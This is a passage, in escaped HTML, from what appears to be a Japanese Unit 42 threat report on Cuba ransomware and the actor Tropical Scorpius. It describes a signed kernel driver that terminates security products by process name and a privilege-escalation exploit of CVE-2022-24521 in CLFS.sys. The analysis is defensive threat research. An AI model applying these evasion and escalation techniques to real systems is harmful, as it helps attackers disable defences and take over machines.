style=\"font-family: 'courier new', courier, monospace;\">Driver<\/span>\u3068\u3044\u3046\u30ea\u30bd\u30fc\u30b9\u30bf\u30a4\u30d7\u540d\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u3053\u306eDriver\u306f\u3001\u57cb\u3081\u8fbc\u307e\u308c\u305fPE\u30d5\u30a1\u30a4\u30eb\u3067\u3042\u308a\u3001\u307e\u305f\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u3067\u3082\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u304c\u3053\u306e\u5f8c\u306b\u7d9a\u304fAPI\u547c\u3073\u51fa\u3057\u3067\u6700\u7d42\u7684\u306b\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u66f8\u304d\u8fbc\u307e\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124333\" aria-describedby=\"caption-attachment-124333\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124334 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-8.png\" alt=\"\u30ab\u30fc\u30cd\u30eb\u30c9\u30ed\u30c3\u30d1\u30fc\u306e\u30ea\u30bd\u30fc\u30b9\u90e8\u5206\u3002\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u306f\u300cDriver &gt; 143 : 2052\u300d\u3068\u8868\u793a\u3057\u3066\u3044\u308b\u3002 \" width=\"900\" height=\"255\" \/><figcaption id=\"caption-attachment-124333\" class=\"wp-caption-text\">\u56f310 \u30ab\u30fc\u30cd\u30eb\u30c9\u30ed\u30c3\u30d1\u30fc\u306e\u30ea\u30bd\u30fc\u30b9\u90e8\u5206\u3002<\/figcaption><\/figure>\n<p>\u3053\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u304c\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u66f8\u304d\u8fbc\u307e\u308c\u308b\u3068\u3001\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30ed\u30fc\u30c0\u30fc\u304c\u5bfe\u8c61\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306b\u5bfe\u3057\u3001<span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span>\u7d4c\u7531\u3067 del \u30b3\u30de\u30f3\u30c9\u306e\u5f15\u6570\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-124384 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/cmdImage.png\" alt=\"\u3053\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u304c\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u306b\u66f8\u304d\u8fbc\u307e\u308c\u308b\u3068\u3001\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30ed\u30fc\u30c0\u30fc\u304c\u5bfe\u8c61\u306e\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306b\u5bfe\u3057\u3001cmd.exe\u7d4c\u7531\u3067 del \u30b3\u30de\u30f3\u30c9\u306e\u5f15\u6570\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\" width=\"600\" height=\"45\" \/><\/p>\n<p>\u305d\u306e\u5f8c\u3001\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30ed\u30fc\u30c0\u30fc\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span>\u3067\u65b0\u305f\u306a\u30b5\u30fc\u30d3\u30b9\u3092\u4f5c\u6210\u3057\u3001\u4ee5\u4e0b\u306e\u5f15\u6570\u3092\u5b9f\u884c\u3057\u3066\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30b5\u30fc\u30d3\u30b9\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-124338 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-10.png\" alt=\"\u305d\u306e\u5f8c\u3001\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30ed\u30fc\u30c0\u30fc\u306f\u3001cmd.exe\u3067\u65b0\u305f\u306a\u30b5\u30fc\u30d3\u30b9\u3092\u4f5c\u6210\u3057\u3001\u56f3\u306e\u5f15\u6570\u3092\u5b9f\u884c\u3057\u3066\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30b5\u30fc\u30d3\u30b9\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002\" width=\"600\" height=\"72\" \/><\/p>\n<p>\u6b21\u306b\u3053\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30ed\u30fc\u30c0\u30fc\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u3092\u7d42\u4e86\u3055\u305b\u308b\u5f79\u5272\u3092\u62c5\u3046\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u3092\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u4e0a\u306b\u30b3\u30d4\u30fc\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-124340 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-11.png\" alt=\"\u6b21\u306b\u3053\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30ed\u30fc\u30c0\u30fc\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u3092\u7d42\u4e86\u3055\u305b\u308b\u5f79\u5272\u3092\u62c5\u3046\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u3092\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u4e0a\u306b\u30b3\u30d4\u30fc\u3057\u307e\u3059\u3002\" width=\"600\" height=\"62\" \/><\/p>\n<p>\u30c9\u30ed\u30c3\u30d7\u30fb\u30ed\u30fc\u30c9\u3055\u308c\u308b\u3053\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u4e3b\u306a\u6a5f\u80fd\u306f\u3001\u6a5f\u80fd\u306e\u5b9f\u884c\u306e\u305f\u3081\u306b\u8ffd\u52a0\u3067\u30ab\u30fc\u30cd\u30ebAPI\u3092\u89e3\u6c7a\u3059\u308b\u3053\u3068\u3068\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u306e\u30ea\u30b9\u30c8\u3092\u7d42\u4e86\u5bfe\u8c61\u306b\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u3053\u308c\u3089\u306e\u8ffd\u52a0\u306eAPI\u3067\u306f\u3001\u5bfe\u8c61API\u540d\u3092\u6587\u5b57\u5217\u5b9a\u6570\u3092\u4f7f\u3063\u3066\u89e3\u6c7a\u3057\u3066\u3044\u307e\u3059\u3002\u4ee5\u4e0b\u306e\u5404Windows API\u3092<span style=\"font-family: 'courier new', courier, monospace;\">MmGetSystemRoutineAddress<\/span>\u3078\u306e\u95a2\u6570\u547c\u3073\u51fa\u3057\u3067\u4f7f\u3063\u3066\u3001\u3053\u3053\u304b\u3089\u5bfe\u8c61\u95a2\u6570\u3078\u306e\u30dd\u30a4\u30f3\u30bf\u3092\u5f97\u3066\u3044\u307e\u3059\u3002\u4ee5\u4e0b\u306f\u3001\u30b5\u30f3\u30d7\u30eb\u5185\u3067\u767a\u898b\u3055\u308c\u305f\u3001\u89e3\u6c7a\u3055\u308c\u305f\u8ffd\u52a0\u306e\u30ab\u30fc\u30cd\u30ebAPI\u306e\u30ea\u30b9\u30c8\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_124341\" aria-describedby=\"caption-attachment-124341\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124342 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-12.png\" alt=\"\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30e9\u30f3\u30bf\u30a4\u30e0API\u3002Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30b5\u30f3\u30d7\u30eb\u5185\u3067\u767a\u898b\u3055\u308c\u305f\u3082\u306e\u3002 \" width=\"900\" height=\"554\" \/><figcaption id=\"caption-attachment-124341\" class=\"wp-caption-text\">\u56f311 \u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30e9\u30f3\u30bf\u30a4\u30e0API\u3002<\/figcaption><\/figure>\n<p>\u3053\u306e\u7d42\u4e86\u5bfe\u8c61\u3068\u306a\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u306e\u30ea\u30b9\u30c8\u306f\u3001<a href=\"https:\/\/www.mandiant.com\/resources\/unc2596-cuba-ransomware\">Mandiant<\/a>\u304c\u4ee5\u524d\u89e3\u8aac\u3057\u305f\u300cBURNTCIGAR\u300d\u3068\u547c\u3070\u308c\u308b\u30c4\u30fc\u30eb\u3067\u89b3\u6e2c\u3055\u308c\u305f\u30ea\u30b9\u30c8\u3068\u91cd\u8907\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u7279\u5b9a\u306e\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306fMandiant\u304c\u89b3\u6e2c\u3057\u305f\u3082\u306e\u306e\u4e9c\u7a2e\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_124343\" aria-describedby=\"caption-attachment-124343\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124344 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-13.png\" alt=\"\" width=\"900\" height=\"651\" \/><figcaption id=\"caption-attachment-124343\" class=\"wp-caption-text\">\u56f312. \u7d42\u4e86\u5bfe\u8c61\u3068\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u3002<\/figcaption><\/figure>\n<p>\u8ffd\u52a0\u306eAPI\u3092\u89e3\u6c7a\u5f8c\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u3092\u5bfe\u8c61\u3068\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u304c\u958b\u59cb\u3055\u308c\u307e\u3059(\u5bfe\u8c61\u306e\u88fd\u54c1\u306f\u4e0a\u306e\u56f312\u306b\u8a18\u8f09)\u3002\u3053\u306e\u30d7\u30ed\u30bb\u30b9\u306fdo-while\u30eb\u30fc\u30d7(\u4ee5\u4e0b\u56f313\u53c2\u7167)\u3092\u7528\u610f\u3057\u3066\u3044\u3066\u3001\u305d\u306e\u306a\u304b\u3067\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u30d7\u30ed\u30bb\u30b9\u304c\u5bfe\u8c61\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u9805\u76ee\u306b\u8a72\u5f53\u3059\u308b\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u3053\u306e\u8a72\u5f53\u306e\u6709\u7121\u306e\u30c1\u30a7\u30c3\u30af\u306f\u6b21\u306e\u3088\u3046\u306b\u884c\u308f\u308c\u307e\u3059\u3002\u307e\u305a\u5404ThreadID\u3092\u8abf\u3079\u3001\u95a2\u6570<span style=\"font-family: 'courier new', courier, monospace;\">PsLookupThreadByThreadId<\/span>\u3092\u547c\u3073\u51fa\u3057\u3001\u5bfe\u8c61\u30b9\u30ec\u30c3\u30c9\u306e<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-hardware\/drivers\/kernel\/eprocess\">ETHREAD<\/a>\u69cb\u9020\u4f53\u3078\u306e\u30dd\u30a4\u30f3\u30bf\u3092\u898b\u3064\u3051\u307e\u3059\u3002ETHREAD\u69cb\u9020\u4f53\u306f\u30ab\u30fc\u30cd\u30eb\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3067\u3059\u3002\u3053\u306e\u69cb\u9020\u4f53\u306f\u3001\u91cd\u8981\u30d7\u30ed\u30bb\u30b9\/\u30b9\u30ec\u30c3\u30c9\u69cb\u9020\u4f53\u3078\u306e\u3055\u307e\u3056\u307e\u306a\u53c2\u7167\u3084\u3001\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u304c\u30bf\u30b9\u30af\u306e\u51e6\u7406\u3084CPU\u3067\u306e\u5b9f\u884c\u306b\u3055\u3044\u3057\u3066\u5fc5\u8981\u3068\u3059\u308b\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4fdd\u6301\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u8fd4\u3055\u308c\u305fETHREAD\u3078\u306e\u30dd\u30a4\u30f3\u30bf\u3092\u3001\u95a2\u6570<span style=\"font-family: 'courier new', courier, monospace;\">PsIsThreadTerminating<\/span>\u304c\u4f7f\u3044\u3001\u5bfe\u8c61\u306e\u30b9\u30ec\u30c3\u30c9\u304c\u7d42\u4e86\u3057\u3066\u3044\u306a\u3044\u3053\u3068\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002<\/p>\n<p>\u3042\u308b\u30b9\u30ec\u30c3\u30c9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u5b58\u5728\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u3001\u95a2\u6570<span style=\"font-family: 'courier new', courier, monospace;\">PsGetThreadProcess<\/span>\u3092\u4f7f\u3063\u3066\u3001\u305d\u306e\u30b9\u30ec\u30c3\u30c9\u304c\u5c5e\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u898b\u3064\u3051\u307e\u3059\u3002\u3053\u306e\u623b\u308a\u5024\u306fPEPROCESS\u3067\u3059\u3002<a href=\"https:\/\/www.vergiliusproject.com\/kernels\/x64\/Windows%2010%20%7C%202016\/2110%2021H2%20(November%202021%20Update)\/_EPROCESS\">PEPROCESS<\/a>\u306f\u3001\u30d7\u30ed\u30bb\u30b9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30ab\u30fc\u30cd\u30eb\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3068\u3057\u3066\u8868\u3057\u305f\u3082\u306e\u3067\u3001\u30d7\u30ed\u30bb\u30b9\u306b\u95a2\u9023\u3059\u308b\u60c5\u5831\u304c\u683c\u7d0d\u3055\u308c\u3066\u3044\u308b\u5834\u6240\u3078\u306e\u30dd\u30a4\u30f3\u30bf\u3092\u4fdd\u6301\u3057\u3066\u3044\u307e\u3059\u3002\u5bfe\u8c61\u306e\u30b9\u30ec\u30c3\u30c9\u306bPEPROCESS\u304c\u5b58\u5728\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u3001\u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u51fa\u529b\u306e\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u5185\u306b\u3042\u308b\u5909\u6570\u306b<span style=\"font-family: 'courier new', courier, monospace;\">ImageFileName<\/span>\u30aa\u30d5\u30bb\u30c3\u30c8\u304c\u4ee3\u5165\u3055\u308c\u307e\u3059\u3002\u56f313\u306e\u300cv3\u300d\u3068\u3044\u3046\u540d\u524d\u306e\u5909\u6570\u304c\u305d\u306e\u5909\u6570\u3067\u3059\u3002\u3053\u306e\u5909\u6570\u300cv3\u300d\u306b\u306f\u3001do-while\u30eb\u30fc\u30d7\u5185\u3067\u73fe\u5728\u51e6\u7406\u5bfe\u8c61\u3068\u306a\u3063\u3066\u3044\u308b\u30b9\u30ec\u30c3\u30c9\/\u30d7\u30ed\u30bb\u30b9(\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u30b7\u30b9\u30c6\u30e0\u4e0a\u306e\u4efb\u610f\u306e\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u30d7\u30ed\u30bb\u30b9)\u306e\u30d7\u30ed\u30bb\u30b9\u30a4\u30e1\u30fc\u30b8\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u683c\u7d0d\u3055\u308c\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u6b21\u306b\u3001do-while\u30eb\u30fc\u30d7\u5185\u306eif-then\u6587\u3067\u30d7\u30ed\u30bb\u30b9\u30a4\u30e1\u30fc\u30b8\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30c1\u30a7\u30c3\u30af\u3092\u884c\u3044\u307e\u3059\u3002if-then\u6587\u3067\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">strstr<\/span>\u95a2\u6570\u306b2\u3064\u306e\u5f15\u6570\u3092\u6e21\u3057\u3066\u3044\u307e\u3059\u30021\u3064\u3081\u306e\u5f15\u6570\u306fPEPROCESS\u69cb\u9020\u4f53\u5185\u306e<span style=\"font-family: 'courier new', courier, monospace;\">ImageFileName<\/span>\u3067\u3001\u3053\u308c\u306b\u306f\u30d7\u30ed\u30bb\u30b9\u30a4\u30e1\u30fc\u30b8\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u5165\u3063\u3066\u3044\u307e\u3059\u30022\u3064\u3081\u306e\u5f15\u6570\u306f\u691c\u7d22\u5bfe\u8c61\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u540d\u306e\u90e8\u5206\u6587\u5b57\u5217\u3067\u3001\u3053\u308c\u304c1\u3064\u3081\u306e\u5f15\u6570\u3068\u6bd4\u8f03\u3055\u308c\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u305f\u3068\u3048\u3070\u300cImageFileName\u306e\u30d7\u30ed\u30bb\u30b9\u540d\u6587\u5b57\u5217\u306b\u300eSophos\u300f\u3068\u3044\u3046\u540d\u524d\u304c\u5b58\u5728\u3059\u308b\u304b?\u300d\u306b\u3064\u3044\u3066\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u6bd4\u8f03\u304c\u5408\u81f4\u3057\u3066\u3044\u308c\u3070\u3001sub_140001BE0\u3068\u3044\u3046\u540d\u524d\u306e\u6b21\u306e\u95a2\u6570(\u56f313\u3067\u547c\u3073\u51fa\u3055\u308c\u3066\u3044\u308b\u95a2\u6570)\u304c\u3001\u300c\u5bfe\u8c61\u30b9\u30ec\u30c3\u30c9\u306e\u30b9\u30c6\u30fc\u30bf\u30b9\u30b3\u30fc\u30c9\u304c<span style=\"font-family: 'courier new', courier, monospace;\">STATUS_PENDING<\/span>\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u300d\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002\u3053\u3053\u3067\u771f\u3068\u8a55\u4fa1\u3055\u308c\u308c\u3070\u3001\u3079\u3064\u306e\u30b5\u30d6\u30eb\u30fc\u30c1\u30f3\u3092<span style=\"font-family: 'courier new', courier, monospace;\">ZwTerminateProcess<\/span>\u3092\u4f7f\u3063\u3066\u547c\u3073\u51fa\u3057\u3001\u5bfe\u8c61\u30b9\u30ec\u30c3\u30c9\u3092\u7d42\u4e86\u3055\u305b\u307e\u3059\u3002\u5bfe\u8c61\u30b9\u30ec\u30c3\u30c9\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3078\u306e\u53c2\u7167\u306f\u89e3\u9664(\u30c7\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9)\u3055\u308c\u3001do-while\u30eb\u30fc\u30d7\u306f\u3075\u305f\u305f\u3073\u6b21\u306e\u30b9\u30ec\u30c3\u30c9\u306b\u79fb\u3063\u3066\u3001\u7d42\u4e86\u8a55\u4fa1\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124345\" aria-describedby=\"caption-attachment-124345\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124346 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-14.png\" alt=\"\u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30b5\u30f3\u30d7\u30eb\u3002\u3053\u306e\u56f3\u3067\u306f\u3001\u95a2\u6570sub_140001BE0\u304c\u547c\u3073\u51fa\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u304c\u308f\u304b\u308b\u3002 \" width=\"900\" height=\"775\" \/><figcaption id=\"caption-attachment-124345\" class=\"wp-caption-text\">\u56f313. \u30c7\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u305f\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0\u306e\u30b5\u30f3\u30d7\u30eb\u3002<\/figcaption><\/figure>\n<p>Tropical Scorpius\u306e\u6226\u8853\u5909\u66f4\u306f\u3001\u671f\u9650\u5207\u308c\u306e\u6b63\u898fNVIDIA\u8a3c\u660e\u66f8\u3092\u4f7f\u3063\u3066\u3044\u308b\u70b9\u3068\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u306e\u7d42\u4e86\u3092\u72d9\u3044\u72ec\u81ea\u306e\u30c9\u30e9\u30a4\u30d0\u3092\u4f7f\u3063\u3066\u3044\u308b\u70b9\u3067\u3059\u3002\u4ee5\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u8106\u5f31\u306aBURNTCIGAR\u30c9\u30e9\u30a4\u30d0\u3067\u306f\u3001\u6587\u66f8\u5316\u3055\u308c\u3066\u3044\u306a\u3044IOCTL(Input\/Output Control\u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb)\u3092\u60aa\u7528\u3059\u308b\u69d8\u5b50\u304c\u89b3\u6e2c\u3055\u308c\u3066\u3044\u305f\u3053\u3068\u3092\u8e0f\u307e\u3048\u308b\u3068\u3001\u3053\u308c\u3089\u306f\u6ce8\u76ee\u3059\u3079\u304d\u5909\u66f4\u70b9\u3068\u3044\u3048\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-124395-_bjhzhx1os45z\"><\/a>\u30ed\u30fc\u30ab\u30eb\u7279\u6a29\u6607\u683c<\/h2>\n<p>Tropical Scorpius\u304c\u4f7f\u3046\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\u30c4\u30fc\u30eb\u306f\u5f53\u521d\u3001Web\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306e<span style=\"font-family: 'courier new', courier, monospace;\">tmpfiles[.]org<\/span>\u304b\u3089\u3001PowerShell\u306e<span style=\"font-family: 'courier new', courier, monospace;\">Invoke-WebRequest<\/span>\u3092\u4f7f\u3063\u3066\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>Unit 42\u306f\u3053\u306e\u30a2\u30af\u30bf\u30fc\u304c<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-24521\">CVE-2022-24521<\/a>(Common Log File System: CLFS)\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u30d0\u30a4\u30ca\u30ea\u3092\u4f7f\u3046\u69d8\u5b50\u3092\u89b3\u6e2c\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f<span style=\"font-family: 'courier new', courier, monospace;\">CLFS.sys<\/span>\u306b\u304a\u3051\u308b\u8ad6\u7406\u30a8\u30e9\u30fc\u3001\u5177\u4f53\u7684\u306b\u306f<span style=\"font-family: 'courier new', courier, monospace;\">CClfsBaseFilePersisted::LoadContainerQ()<\/span>\u95a2\u6570\u306b\u5b58\u5728\u3059\u308b\u554f\u984c\u3092\u60aa\u7528\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u5f62\u5f0f\u4e0d\u826f\u306eBLF\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u3044\u3001\u30e6\u30fc\u30b6\u30fc\u30e2\u30fc\u30c9\u30a2\u30c9\u30ec\u30b9\u3092\u3082\u3064\u30b3\u30f3\u30c6\u30ca\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e <span style=\"font-family: 'courier new', courier, monospace;\"><strong>pContainer<\/strong><\/span>\u30d5\u30a3\u30fc\u30eb\u30c9\u3092\u7834\u640d\u3055\u305b\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30b3\u30fc\u30c9\u5b9f\u884c\u6a29\u9650\u3092\u5f97\u307e\u3059\u3002\u3053\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u6a29\u9650\u3067System\u30c8\u30fc\u30af\u30f3\u3092\u76d7\u3093\u3067\u7279\u6a29\u6607\u683c\u3057\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306e\u8a73\u7d30\u3068\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u6226\u7565\u306f\u30012022\u5e744\u670825\u65e5\u306bPixiePoint Security\u306eSergey Kornienko\u6c0f\u304c<a href=\"https:\/\/www.pixiepointsecurity.com\/blog\/nday-cve-2022-24521.html\">\u63d0\u4f9b<\/a>\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Tropical Scorpius\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u3001\u540c\u6c0f\u306b\u3088\u308b\u6295\u7a3f\u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u4f5c\u308b\u3046\u3048\u3067\u53c2\u8003\u306b\u3057\u305f\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u30d1\u30a4\u30d7\u5c5e\u6027\u306e\u30d2\u30fc\u30d7\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u624b\u6cd5\u3067\u30d2\u30fc\u30d7\u30b9\u30d7\u30ec\u30fc\u653b\u6483\u3092\u884c\u3046\u3001\u3068\u3044\u3063\u305f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u6226\u7565\u304c\u3001\u540c\u6c0f\u306e\u8aac\u660e\u3059\u308b\u3082\u306e\u3068\u540c\u4e00\u3067\u3057\u305f\u3002<\/p>\n<p>\u3053\u306e\u6280\u8853\u306b\u3064\u3044\u3066\u306f\u30012020\u5e74\u306eSSTIC(Symposium on Information and Communications Technology Security)\u3067\u3001Synactiv\u306eCorentin Bayet\u6c0f\u3068Paul Fariello\u6c0f\u304c<a href=\"https:\/\/www.sstic.org\/media\/SSTIC2020\/SSTIC-actes\/pool_overflow_exploitation_since_windows_10_19h1\/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf\">\u8a73\u3057\u304f\u89e3\u8aac<\/a>\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-124395-_tt7in3rzheeg\"><\/a>\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u3078\u306e\u30c1\u30b1\u30c3\u30c8<\/h2>\n<p>Tropical Scorpius\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u521d\u671f\u306e\u30b7\u30b9\u30c6\u30e0\u5075\u5bdf\u306b\u3055\u307e\u3056\u307e\u306a\u30c4\u30fc\u30eb\u3092\u4f7f\u3063\u3066\u3044\u307e\u3057\u305f\u3002\u305d\u306e\u306a\u304b\u306b\u306fADFind\u3068Net Scan\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u3053\u308c\u3089\u306fWeb\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0<span style=\"font-family: 'courier new', courier, monospace;\">tmpfiles[.]org<\/span>\u304b\u3089\u3001PowerShell\u306e<span style=\"font-family: 'courier new', courier, 